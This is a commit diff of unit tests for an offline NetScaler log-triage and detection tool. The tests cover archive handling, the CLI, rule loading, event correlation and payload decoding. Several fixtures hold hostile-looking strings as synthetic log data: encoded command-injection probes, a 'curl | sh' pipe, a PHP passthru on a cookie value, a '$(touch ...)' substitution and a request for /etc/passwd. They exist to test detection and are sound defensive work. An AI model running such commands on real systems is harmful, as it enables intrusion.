Initial release: offline NetScaler triage with Sigma rules and MIT license
This commit is contained in:
StasonJatham committed
commit
711c42b270
52 files changed
+61222
No files matched your search
@@ -0,0 +1,62 @@
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
import py7zr
|
||||
import pyzipper
|
||||
|
||||
from netscaler_triage.ingest import InputError, extract_archive
|
||||
|
||||
|
||||
class ArchivePasswordTests(unittest.TestCase):
|
||||
def test_encrypted_7z_and_aes_zip(self) -> None:
|
||||
password = "sensitive-Ü-test-password"
|
||||
with tempfile.TemporaryDirectory() as folder:
|
||||
root = Path(folder).resolve()
|
||||
for extension in ("7z", "zip"):
|
||||
archive = root / ("input." + extension)
|
||||
if extension == "7z":
|
||||
with py7zr.SevenZipFile(
|
||||
archive, "w", password=password, header_encryption=True
|
||||
) as z:
|
||||
z.writestr(b"log data\n", "logs/access.log")
|
||||
else:
|
||||
with pyzipper.AESZipFile(archive, "w", encryption=pyzipper.WZ_AES) as z:
|
||||
z.setpassword(password.encode())
|
||||
z.writestr("logs/access.log", b"log data\n")
|
||||
original = archive.read_bytes()
|
||||
destination = root / (extension + "-correct")
|
||||
manifest = extract_archive(archive, destination, password=password)
|
||||
self.assertEqual((destination / "logs/access.log").read_bytes(), b"log data\n")
|
||||
self.assertNotIn(password, json.dumps(manifest))
|
||||
for wrong in (None, "other-secret"):
|
||||
failed = root / (extension + "-failed")
|
||||
with self.assertRaises(InputError) as caught:
|
||||
extract_archive(archive, failed, password=wrong)
|
||||
self.assertNotIn(password, str(caught.exception))
|
||||
self.assertNotIn("other-secret", str(caught.exception))
|
||||
self.assertFalse(failed.exists())
|
||||
self.assertEqual(archive.read_bytes(), original)
|
||||
|
||||
def test_nested_encryption_and_quota(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as folder:
|
||||
root = Path(folder).resolve()
|
||||
inner = root / "nested.7z"
|
||||
with py7zr.SevenZipFile(inner, "w", password="secret", header_encryption=True) as z:
|
||||
z.writestr(b"nested log", "messages")
|
||||
outer = root / "outer.zip"
|
||||
with pyzipper.AESZipFile(outer, "w", encryption=pyzipper.WZ_AES) as z:
|
||||
z.setpassword(b"secret")
|
||||
z.write(inner, "nested.7z")
|
||||
target = root / "output"
|
||||
extract_archive(outer, target, password="secret")
|
||||
self.assertEqual((target / "nested.7z.extracted/messages").read_bytes(), b"nested log")
|
||||
failed = root / "quota"
|
||||
with self.assertRaisesRegex(InputError, "size limit"):
|
||||
extract_archive(outer, failed, password="secret", max_bytes=2)
|
||||
self.assertFalse(failed.exists())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,113 @@
|
||||
"""CLI presentation must not corrupt evidence output or generate assessments."""
|
||||
|
||||
import contextlib
|
||||
import io
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
|
||||
from rich.console import Console
|
||||
|
||||
from netscaler_triage.cli import display_result, main
|
||||
from netscaler_triage.engine import scan
|
||||
|
||||
|
||||
class CliTests(unittest.TestCase):
|
||||
def test_help_and_argument_errors(self) -> None:
|
||||
output = io.StringIO()
|
||||
with contextlib.redirect_stdout(output), self.assertRaises(SystemExit) as raised:
|
||||
main(["scan", "--help"])
|
||||
self.assertEqual(raised.exception.code, 0)
|
||||
self.assertIn("Log folders or archives", output.getvalue())
|
||||
self.assertIn("Example:", output.getvalue())
|
||||
self.assertNotIn("--regex-timeout", output.getvalue())
|
||||
advanced = io.StringIO()
|
||||
with contextlib.redirect_stdout(advanced), self.assertRaises(SystemExit):
|
||||
main(["scan", "--help-all"])
|
||||
self.assertIn("--regex-timeout", advanced.getvalue())
|
||||
error = io.StringIO()
|
||||
with contextlib.redirect_stderr(error), self.assertRaises(SystemExit) as raised:
|
||||
main(["scan", "--not-a-valid-option"])
|
||||
self.assertEqual(raised.exception.code, 2)
|
||||
self.assertIn("Invalid arguments", error.getvalue())
|
||||
self.assertIn("--help", error.getvalue())
|
||||
|
||||
def test_json_and_interactive_output(self) -> None:
|
||||
result = {"status": "complete", "counts": {"records": 7}}
|
||||
output = io.StringIO()
|
||||
with contextlib.redirect_stdout(output):
|
||||
display_result(result, json_output=True)
|
||||
self.assertEqual(json.loads(output.getvalue()), result)
|
||||
self.assertNotIn("\x1b", output.getvalue())
|
||||
terminal = io.StringIO()
|
||||
with patch(
|
||||
"netscaler_triage.cli.Console",
|
||||
return_value=Console(
|
||||
file=terminal,
|
||||
force_terminal=True,
|
||||
color_system=None,
|
||||
),
|
||||
):
|
||||
display_result(result)
|
||||
self.assertIn("NetScaler triage results", terminal.getvalue())
|
||||
|
||||
def test_missing_file_is_friendly_and_has_no_stdout(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
output, error = io.StringIO(), io.StringIO()
|
||||
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
|
||||
code = main(["decode", str(Path(tmp) / "missing.txt")])
|
||||
self.assertEqual(code, 2)
|
||||
self.assertEqual(output.getvalue(), "")
|
||||
self.assertIn("Check that the input file or directory exists", error.getvalue())
|
||||
|
||||
def test_scan_does_not_write_an_assessment(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
source = root / "logs"
|
||||
source.mkdir()
|
||||
(source / "sample.log").write_text("plain text\n", encoding="utf-8")
|
||||
scan([("sample", source)], root / "output", [], defaults=False)
|
||||
self.assertTrue((root / "output/summary.json").is_file())
|
||||
self.assertFalse((root / "output/BERICHT.txt").exists())
|
||||
|
||||
def test_scan_requires_only_a_folder_and_never_overwrites(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "appliance"
|
||||
logs.mkdir()
|
||||
original = "ordinary text\n"
|
||||
(logs / "sample.log").write_text(original, encoding="utf-8")
|
||||
for _ in range(2):
|
||||
output, error = io.StringIO(), io.StringIO()
|
||||
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
|
||||
self.assertEqual(main(["scan", str(logs)]), 0)
|
||||
self.assertEqual(json.loads(output.getvalue())["files"], 1)
|
||||
self.assertIn("Results saved to:", error.getvalue())
|
||||
destinations = list(root.glob("triage-results-*"))
|
||||
self.assertEqual(len(destinations), 2)
|
||||
self.assertEqual((logs / "sample.log").read_text(), original)
|
||||
for destination in destinations:
|
||||
config = json.loads((destination / "configuration.json").read_text())
|
||||
self.assertIsNone(config["year"])
|
||||
self.assertEqual(config["timezones"], {})
|
||||
|
||||
def test_named_inputs_remain_supported(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
with (
|
||||
contextlib.redirect_stdout(io.StringIO()),
|
||||
contextlib.redirect_stderr(io.StringIO()),
|
||||
):
|
||||
self.assertEqual(
|
||||
main(["scan", "--input", f"ADC={logs}", "--output", str(root / "out")]), 0
|
||||
)
|
||||
config = json.loads((root / "out/configuration.json").read_text())
|
||||
self.assertEqual(config["appliances"], ["ADC"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,65 @@
|
||||
"""Diagnostic probes must match in request context, not as ordinary prose."""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from urllib.parse import quote
|
||||
|
||||
from netscaler_triage.engine import scan
|
||||
from netscaler_triage.matching import Matcher
|
||||
|
||||
|
||||
class CommandProbeTests(unittest.TestCase):
|
||||
def test_raw_url_and_base64_probes_reach_engine(self) -> None:
|
||||
commands = ["echo CHECK123&&date&&id", "id", "echo CHECK123"]
|
||||
lines = []
|
||||
for command in commands:
|
||||
payload = quote(base64.b64encode(command.encode()).decode(), safe="")
|
||||
lines.append(
|
||||
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||
f'"GET /vpn/example.php?x={payload} HTTP/1.1" 403 0 "-" "normal"'
|
||||
)
|
||||
lines.append(
|
||||
"Oct 1 12:00:00 adc APPFW (GET https://192.0.2.1/vpn/theme/x.php?0="
|
||||
+ quote(commands[0], safe="")
|
||||
+ ") <blocked>"
|
||||
)
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp).resolve()
|
||||
logs = root / "logs"
|
||||
logs.mkdir()
|
||||
(logs / "probes.log").write_text("\n".join(lines) + "\n")
|
||||
scan([("ADC", logs)], root / "out", [])
|
||||
findings = [
|
||||
json.loads(x) for x in (root / "out/findings.jsonl").read_text().splitlines()
|
||||
]
|
||||
self.assertEqual(len(findings), len(lines))
|
||||
for finding in findings:
|
||||
self.assertTrue(
|
||||
any(x["name"] == "command_injection" for x in finding["rule_details"])
|
||||
)
|
||||
|
||||
def test_ordinary_context_does_not_trigger_probe_or_handler_rules(self) -> None:
|
||||
matcher = Matcher([])
|
||||
for event in [
|
||||
{"raw": "id", "uri": "/health?id=42"},
|
||||
{"raw": "echo CHECK123", "uri": "/search?q=echo"},
|
||||
{"raw": "id", "uri": "/vpn/example.php"},
|
||||
{"raw": "AddType application/x-httpd-php .php"},
|
||||
{"raw": "AddType application/x-httpd-php-source .phps"},
|
||||
]:
|
||||
with self.subTest(event=event):
|
||||
names = {x["name"] for x in matcher.search_sigma(event)}
|
||||
self.assertFalse(names & {"command_injection", "ti_php_handler"})
|
||||
self.assertTrue(
|
||||
any(
|
||||
x["name"] == "ti_php_handler"
|
||||
for x in matcher.search_sigma({"raw": "AddType application/x-httpd-php .sig"})
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,177 @@
|
||||
"""Explicit configuration discovery and metadata-preservation checks."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import io
|
||||
import json
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
|
||||
from netscaler_triage.cli import main
|
||||
from netscaler_triage.config_loading import load_config, load_configs
|
||||
from netscaler_triage.matching import Matcher
|
||||
|
||||
|
||||
class ConfigLoadingTests(unittest.TestCase):
|
||||
def test_directory_expansion_is_explicit_sorted_and_deduplicated(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory)
|
||||
(root / "sub").mkdir()
|
||||
(root / ".hidden").mkdir()
|
||||
(root / "__pycache__").mkdir()
|
||||
(root / "z.txt").write_text("last\n")
|
||||
(root / "sub/a.txt").write_text("first\n")
|
||||
(root / ".hidden/a.txt").write_text("hidden\n")
|
||||
(root / "__pycache__/a.txt").write_text("cache\n")
|
||||
(root / "ignored.log").write_text("ignored\n")
|
||||
for name in ["README.txt", "LICENSE.txt", "CHANGELOG.txt"]:
|
||||
(root / name).write_text("Documentation, not an indicator.\n")
|
||||
configs = load_configs([root, root / "z.txt", root])
|
||||
self.assertEqual([c["indicators"][0]["value"] for c in configs], ["first", "last"])
|
||||
self.assertEqual(load_configs([]), [])
|
||||
|
||||
def test_txt_infers_unambiguous_types_and_enforces_ip_boundaries(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
path = Path(directory) / "references.txt"
|
||||
path.write_text(
|
||||
"192.0.2.1\n2001:db8::1\n/example/artifact\n"
|
||||
"https://example.invalid/payload\n" + "a" * 64 + "\nwhoami; id\n"
|
||||
)
|
||||
config = load_config(path)
|
||||
self.assertEqual(
|
||||
[row["type"] for row in config["indicators"]],
|
||||
["ipv4", "ipv6", "path", "url", "sha256", "literal"],
|
||||
)
|
||||
matcher = Matcher([config], defaults=False)
|
||||
self.assertTrue(matcher.search("source=192.0.2.1:443")[1])
|
||||
self.assertFalse(matcher.search("source=192.0.2.10")[1])
|
||||
self.assertTrue(matcher.search("source=2001:db8::1")[1])
|
||||
self.assertFalse(matcher.search("source=2001:db8::10")[1])
|
||||
self.assertTrue(matcher.search("whoami; id")[1])
|
||||
|
||||
def test_csv_preserves_metadata_and_aliases(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
path = Path(directory) / "customer.csv"
|
||||
path.write_text(
|
||||
"indicator_type,indicator,status,source,description,confidence,evidence\n"
|
||||
"ipv4,192.0.2.9,authorized_test,local,Approved test,high,auth.log:3\n"
|
||||
)
|
||||
row = load_config(path)["indicators"][0]
|
||||
self.assertEqual(row["value"], "192.0.2.9")
|
||||
self.assertEqual(row["status"], "authorized_test")
|
||||
self.assertEqual(row["evidence"], "auth.log:3")
|
||||
self.assertEqual(row["source"], "local")
|
||||
self.assertEqual(row["confidence"], "high")
|
||||
|
||||
def test_legacy_regex_csv_preserves_description(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
path = Path(directory) / "rules.csv"
|
||||
path.write_text("ID,Muster,description,source\ncustom,test.*value,Example,local\n")
|
||||
row = load_config(path)["patterns"][0]
|
||||
self.assertEqual(row["description"], "Example")
|
||||
self.assertEqual(row["pattern"], "test.*value")
|
||||
|
||||
def test_symlink_file_and_directory_are_rejected(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory)
|
||||
target = root / "target"
|
||||
target.mkdir()
|
||||
(target / "one.txt").write_text("reference")
|
||||
link = root / "linked"
|
||||
link.symlink_to(target, target_is_directory=True)
|
||||
with self.assertRaisesRegex(ValueError, "symlinks"):
|
||||
load_configs([root])
|
||||
with self.assertRaisesRegex(ValueError, "symlinks"):
|
||||
load_configs([link])
|
||||
link.unlink()
|
||||
alias = root / "alias.txt"
|
||||
alias.symlink_to(target / "one.txt")
|
||||
with self.assertRaisesRegex(ValueError, "symlinks"):
|
||||
load_config(alias)
|
||||
|
||||
def test_file_count_and_combined_bytes_are_bounded(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory)
|
||||
(root / "a.txt").write_text("first")
|
||||
(root / "b.txt").write_text("second")
|
||||
with (
|
||||
patch("netscaler_triage.config_loading.MAX_CONFIG_FILES", 1),
|
||||
self.assertRaisesRegex(ValueError, "exceeds 1 files"),
|
||||
):
|
||||
load_configs([root])
|
||||
with (
|
||||
patch("netscaler_triage.config_loading.MAX_TOTAL_BYTES", 8),
|
||||
self.assertRaisesRegex(ValueError, "Combined rule packs"),
|
||||
):
|
||||
load_configs([root])
|
||||
with (
|
||||
patch("netscaler_triage.config_loading.MAX_CONFIG_BYTES", 4),
|
||||
self.assertRaisesRegex(ValueError, "exceeds"),
|
||||
):
|
||||
load_config(root / "a.txt")
|
||||
|
||||
def test_invalid_inputs_have_named_errors(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory)
|
||||
with self.assertRaisesRegex(ValueError, "No supported rule packs"):
|
||||
load_configs([root])
|
||||
invalid = root / "broken.json"
|
||||
invalid.write_text("{broken")
|
||||
with self.assertRaisesRegex(ValueError, "broken.json"):
|
||||
load_configs([root])
|
||||
invalid.unlink()
|
||||
csv = root / "broken.csv"
|
||||
csv.write_text("value,status\none,two,three\n")
|
||||
with self.assertRaisesRegex(ValueError, "column count mismatch"):
|
||||
load_config(csv)
|
||||
|
||||
def test_sigma_relative_source_distinguishes_nested_names(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory)
|
||||
for name in ["a", "b"]:
|
||||
(root / name).mkdir()
|
||||
(root / name / "rules.yml").write_text("title: example\n")
|
||||
configs = load_configs([root])
|
||||
self.assertEqual(
|
||||
[c["sigma_rules"][0]["source"] for c in configs],
|
||||
["a/rules.yml", "b/rules.yml"],
|
||||
)
|
||||
|
||||
|
||||
class RulesCommandTests(unittest.TestCase):
|
||||
def test_valid_directory_compiles_without_output_artifacts(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory)
|
||||
(root / "refs.csv").write_text("type,value,status\nipv4,192.0.2.1,reference_only\n")
|
||||
before = sorted(p.name for p in root.iterdir())
|
||||
output = io.StringIO()
|
||||
with contextlib.redirect_stdout(output):
|
||||
code = main(["rules", "--config", str(root), "--json"])
|
||||
self.assertEqual(code, 0)
|
||||
result = json.loads(output.getvalue())
|
||||
self.assertEqual(result["status"], "valid")
|
||||
self.assertGreater(result["sigma_rules"], 0)
|
||||
self.assertGreaterEqual(result["explicit_active_indicators"], 1)
|
||||
self.assertEqual(before, sorted(p.name for p in root.iterdir()))
|
||||
|
||||
def test_bad_sigma_and_duplicate_ids_fail_validation(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
root = Path(directory)
|
||||
first = root / "one.yml"
|
||||
first.write_text("title: missing required Sigma fields\n")
|
||||
with contextlib.redirect_stderr(io.StringIO()):
|
||||
self.assertEqual(main(["rules", "--config", str(root)]), 2)
|
||||
sigma = (
|
||||
"title: Test rule\nid: d78e2aad-98f2-41fa-a552-f55aa0ad786d\n"
|
||||
"logsource:\n product: netscaler\ndetection:\n"
|
||||
" selection:\n raw|contains: test-marker\n condition: selection\n"
|
||||
)
|
||||
first.write_text(sigma)
|
||||
(root / "two.yml").write_text(sigma)
|
||||
stderr = io.StringIO()
|
||||
with contextlib.redirect_stderr(stderr):
|
||||
self.assertEqual(main(["rules", "--config", str(root)]), 2)
|
||||
self.assertIn("Duplicate rule identifier", stderr.getvalue())
|
||||
@@ -0,0 +1,70 @@
|
||||
import sqlite3
|
||||
import unittest
|
||||
|
||||
from netscaler_triage.correlation import correlate_database
|
||||
|
||||
|
||||
class CorrelationTests(unittest.TestCase):
|
||||
def setUp(self) -> None:
|
||||
self.db = sqlite3.connect(":memory:")
|
||||
self.db.executescript("""
|
||||
CREATE TABLE events(id INTEGER PRIMARY KEY,appliance TEXT,source TEXT,
|
||||
line INTEGER,timestamp TEXT,kind TEXT,data TEXT);
|
||||
CREATE TABLE event_keys(event_id INTEGER,appliance TEXT,key_type TEXT,
|
||||
key_value TEXT,timestamp TEXT);
|
||||
""")
|
||||
|
||||
def tearDown(self) -> None:
|
||||
self.db.close()
|
||||
|
||||
def add(
|
||||
self,
|
||||
number: int,
|
||||
stamp: str | None,
|
||||
source: str = "access",
|
||||
device: str = "one",
|
||||
key: str = "source_ip",
|
||||
value: str = "192.0.2.1",
|
||||
) -> None:
|
||||
self.db.execute(
|
||||
"INSERT INTO events VALUES(?,?,?,?,?,?,?)",
|
||||
(number, device, source, number, stamp, "http", "{}"),
|
||||
)
|
||||
self.db.execute(
|
||||
"INSERT INTO event_keys VALUES(?,?,?,?,?)", (number, device, key, value, stamp)
|
||||
)
|
||||
|
||||
def test_nearest_other_log_and_device_isolation(self) -> None:
|
||||
self.add(1, "2026-01-01T00:00:00Z", "auth")
|
||||
self.add(2, "2026-01-01T00:00:01Z")
|
||||
self.add(3, "2026-01-01T00:00:02Z")
|
||||
self.add(4, "2026-01-01T00:00:03Z", device="two")
|
||||
result = correlate_database(self.db)
|
||||
self.assertEqual(result["links"], 2)
|
||||
self.assertEqual(
|
||||
self.db.execute("SELECT left_id,right_id FROM correlations").fetchall(),
|
||||
[(1, 2), (1, 3)],
|
||||
)
|
||||
|
||||
def test_times_limits_and_rerun(self) -> None:
|
||||
self.add(1, "2026-01-01T01:00:00+01:00", "auth")
|
||||
self.add(2, "2026-01-01T00:00:01Z")
|
||||
self.add(3, "2026-01-01T00:00:02Z")
|
||||
self.add(4, None)
|
||||
self.add(5, "2026-01-01T00:00:03")
|
||||
result = correlate_database(self.db, max_links=1)
|
||||
self.assertTrue(result["truncated"])
|
||||
result = correlate_database(self.db)
|
||||
self.assertEqual(result["links"], 2)
|
||||
self.assertEqual(result["invalid_time_keys"], 2)
|
||||
self.assertEqual(correlate_database(self.db, window_seconds=0)["links"], 0)
|
||||
|
||||
def test_exact_keys_and_no_same_source_links(self) -> None:
|
||||
self.add(1, "2026-01-01T00:00:00Z")
|
||||
self.add(2, "2026-01-01T00:00:01Z")
|
||||
self.add(3, "2026-01-01T00:00:02Z", "auth", value="192.0.2.10")
|
||||
self.assertEqual(correlate_database(self.db)["links"], 0)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,58 @@
|
||||
import base64
|
||||
import unittest
|
||||
|
||||
from netscaler_triage.decoding import decode_layers, observations
|
||||
|
||||
|
||||
class DecodingTests(unittest.TestCase):
|
||||
def test_error_and_limit_metadata(self) -> None:
|
||||
self.assertTrue(any(r["error"] for r in decode_layers("base64: aW@Q=")))
|
||||
self.assertTrue(any(r["error"] for r in decode_layers("/x?q=%GG")))
|
||||
self.assertTrue(any(r.get("limit") for r in decode_layers("aWQ=", max_depth=0)))
|
||||
self.assertTrue(any(r["error"] for r in decode_layers("marker:AAAAA")))
|
||||
|
||||
def test_command_semantics_are_qualified(self) -> None:
|
||||
explanation = " ".join(
|
||||
observations(
|
||||
"curl https://example.test | sh; chmod 777 /tmp/x; tar -cf /tmp/a "
|
||||
"/tmp/b; kill -HUP 12; passthru($_COOKIE['x']); id; hostname"
|
||||
)
|
||||
)
|
||||
for term in (
|
||||
"file permissions",
|
||||
"archive",
|
||||
"HUP",
|
||||
"Cookie",
|
||||
"interpreter",
|
||||
"execution is not established",
|
||||
):
|
||||
self.assertIn(term, explanation)
|
||||
|
||||
def test_marker_and_query(self) -> None:
|
||||
for text in ["AB:" + base64.b64encode(b"id").decode(), "/probe.php?x=aWQ%3D"]:
|
||||
records = decode_layers(text)
|
||||
self.assertEqual(records[0]["output"], text)
|
||||
self.assertIn("id", [r["output"] for r in records])
|
||||
self.assertTrue(all(r["sha256"] for r in records))
|
||||
|
||||
def test_limits_binary_and_plus(self) -> None:
|
||||
self.assertEqual(len(decode_layers("AAAA", max_bytes=2)), 1)
|
||||
self.assertEqual(len(decode_layers("aWQ=", max_depth=0)), 1)
|
||||
self.assertIn("a+b c", [r["output"] for r in decode_layers("a+b%20c")])
|
||||
self.assertTrue(any(r["output_encoding"] == "hex" for r in decode_layers("AP8=")))
|
||||
self.assertTrue(any(r["error"] for r in decode_layers("%FF")))
|
||||
|
||||
def test_inert_commands_and_ordinary_log(self) -> None:
|
||||
command = "$(touch /tmp/NEVER_EXECUTE)"
|
||||
records = decode_layers(base64.b64encode(command.encode()).decode())
|
||||
self.assertIn(command, [r["output"] for r in records])
|
||||
self.assertEqual(len(decode_layers("normal log entry with hostname server")), 1)
|
||||
|
||||
def test_nested(self) -> None:
|
||||
text = base64.b64encode(base64.b64encode(b"id")).decode()
|
||||
self.assertIn("id", [r["output"] for r in decode_layers(text)])
|
||||
self.assertLessEqual(len(decode_layers(" ".join("m:" + text for _ in range(100)))), 64)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,214 @@
|
||||
"""User-facing automatic preparation with synthetic logs and disposable folders."""
|
||||
|
||||
import hashlib
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import tempfile
|
||||
import unittest
|
||||
import zipfile
|
||||
from contextlib import redirect_stderr, redirect_stdout
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from unittest.mock import patch
|
||||
|
||||
import py7zr
|
||||
|
||||
from netscaler_triage.cli import main
|
||||
from netscaler_triage.preparation import prepare_inputs
|
||||
|
||||
LOG = (
|
||||
'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET /etc/passwd HTTP/1.1" 403 0 "-" "ordinary"\n'
|
||||
)
|
||||
|
||||
|
||||
class EasyCliTests(unittest.TestCase):
|
||||
def setUp(self) -> None:
|
||||
self.temporary = tempfile.TemporaryDirectory()
|
||||
self.root = Path(self.temporary.name).resolve()
|
||||
self.previous = Path.cwd()
|
||||
self.case = self.root / "case"
|
||||
self.case.mkdir()
|
||||
os.chdir(self.case)
|
||||
|
||||
def tearDown(self) -> None:
|
||||
os.chdir(self.previous)
|
||||
self.temporary.cleanup()
|
||||
|
||||
def invoke(self, arguments: list[str]) -> str:
|
||||
stdout, stderr = io.StringIO(), io.StringIO()
|
||||
with redirect_stdout(stdout), redirect_stderr(stderr):
|
||||
result = main(arguments)
|
||||
self.assertEqual(result, 0, stdout.getvalue() + stderr.getvalue())
|
||||
return stdout.getvalue() + stderr.getvalue()
|
||||
|
||||
def events(self) -> list[dict[str, Any]]:
|
||||
files = list(self.root.rglob("findings.jsonl"))
|
||||
self.assertEqual(len(files), 1, files)
|
||||
return [json.loads(line) for line in files[0].read_text().splitlines()]
|
||||
|
||||
def archive(self, name: str, log: str = LOG) -> Path:
|
||||
archive = self.case / name
|
||||
with zipfile.ZipFile(archive, "w") as handle:
|
||||
handle.writestr("var/log/httpaccess.log", log)
|
||||
return archive
|
||||
|
||||
def encrypted_archive(self, password: str) -> Path:
|
||||
original = self.root / "fixture.log"
|
||||
original.write_text(LOG, encoding="utf-8")
|
||||
archive = self.case / "encrypted.7z"
|
||||
with py7zr.SevenZipFile(archive, "w", password=password, header_encryption=True) as handle:
|
||||
handle.write(original, "var/log/httpaccess.log")
|
||||
return archive
|
||||
|
||||
def assert_password_absent(self, password: str, output: str) -> None:
|
||||
self.assertNotIn(password, output)
|
||||
for path in self.root.rglob("*"):
|
||||
if path.is_file() and path.suffix in {".json", ".jsonl", ".txt", ".csv"}:
|
||||
self.assertNotIn(password, path.read_text(encoding="utf-8"), str(path))
|
||||
|
||||
def test_no_arguments_uses_current_folder_and_skips_tool_directories(self) -> None:
|
||||
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||
(self.case / "pyproject.toml").write_text(
|
||||
'[project]\nname = "netscaler-triage"\n', encoding="utf-8"
|
||||
)
|
||||
for name in ("src", ".runtime", ".venv", "results"):
|
||||
folder = self.case / name
|
||||
folder.mkdir()
|
||||
(folder / "unrelated.log").write_text(LOG * 3, encoding="utf-8")
|
||||
self.invoke([])
|
||||
events = self.events()
|
||||
self.assertEqual(len(events), 1)
|
||||
self.assertEqual(events[0]["kind"], "http_access")
|
||||
|
||||
def test_folder_without_subcommand(self) -> None:
|
||||
folder = self.case / "logs"
|
||||
folder.mkdir()
|
||||
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||
self.invoke([str(folder)])
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
|
||||
def test_explicit_scan_folder(self) -> None:
|
||||
folder = self.case / "logs"
|
||||
folder.mkdir()
|
||||
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||
self.invoke(["scan", str(folder)])
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
|
||||
def test_missing_common_drive_uses_current_output_parent(self) -> None:
|
||||
folder = self.case / "logs"
|
||||
folder.mkdir()
|
||||
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||
with patch("netscaler_triage.cli.os.path.commonpath", side_effect=ValueError("drives")):
|
||||
self.invoke([str(folder)])
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
|
||||
def test_advanced_preparation_limits_are_forwarded(self) -> None:
|
||||
folder = self.case / "logs"
|
||||
folder.mkdir()
|
||||
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||
with patch("netscaler_triage.cli.prepare_inputs", wraps=prepare_inputs) as prepare:
|
||||
self.invoke(
|
||||
[str(folder), "--max-bytes", "10000", "--max-files", "9", "--max-depth", "0"]
|
||||
)
|
||||
self.assertEqual(prepare.call_args.kwargs["max_bytes"], 10000)
|
||||
self.assertEqual(prepare.call_args.kwargs["max_files"], 9)
|
||||
self.assertEqual(prepare.call_args.kwargs["max_depth"], 0)
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
|
||||
def test_archive_is_prepared_automatically_without_changing_original(self) -> None:
|
||||
archive = self.archive("adc.zip")
|
||||
before = hashlib.sha256(archive.read_bytes()).digest()
|
||||
self.invoke([str(archive)])
|
||||
self.assertEqual(hashlib.sha256(archive.read_bytes()).digest(), before)
|
||||
events = self.events()
|
||||
self.assertEqual(len(events), 1)
|
||||
self.assertEqual(events[0]["kind"], "http_access")
|
||||
|
||||
def test_two_archives_keep_separate_appliance_identity(self) -> None:
|
||||
first = self.archive("adc-one.zip")
|
||||
second = self.archive("adc-two.zip")
|
||||
self.invoke([str(first), str(second)])
|
||||
events = self.events()
|
||||
self.assertEqual(len(events), 2)
|
||||
self.assertEqual(len({event["appliance"] for event in events}), 2)
|
||||
|
||||
def test_current_folder_discovers_multiple_archives(self) -> None:
|
||||
self.archive("adc-one.zip")
|
||||
self.archive("adc-two.zip")
|
||||
self.invoke([])
|
||||
events = self.events()
|
||||
self.assertEqual(len(events), 2)
|
||||
self.assertEqual(len({event["appliance"] for event in events}), 2)
|
||||
|
||||
def test_nested_archive_is_not_counted_twice(self) -> None:
|
||||
nested = io.BytesIO()
|
||||
with zipfile.ZipFile(nested, "w") as handle:
|
||||
handle.writestr("httpaccess.log", LOG)
|
||||
archive = self.case / "outer.zip"
|
||||
with zipfile.ZipFile(archive, "w") as handle:
|
||||
handle.writestr("inner.zip", nested.getvalue())
|
||||
self.invoke([str(archive)])
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
|
||||
def test_archive_password_is_not_written_to_output(self) -> None:
|
||||
password = "SYNTHETIC-password-SECRET-39217"
|
||||
archive = self.encrypted_archive(password)
|
||||
output = self.invoke([str(archive), "--password", password])
|
||||
self.assertEqual(len(self.events()), 1)
|
||||
self.assert_password_absent(password, output)
|
||||
|
||||
def test_password_flag_without_value_prompts_privately(self) -> None:
|
||||
password = "SYNTHETIC-prompt-SECRET-39218"
|
||||
archive = self.encrypted_archive(password)
|
||||
with patch("netscaler_triage.cli.getpass.getpass", return_value=password) as prompt:
|
||||
output = self.invoke([str(archive), "--password"])
|
||||
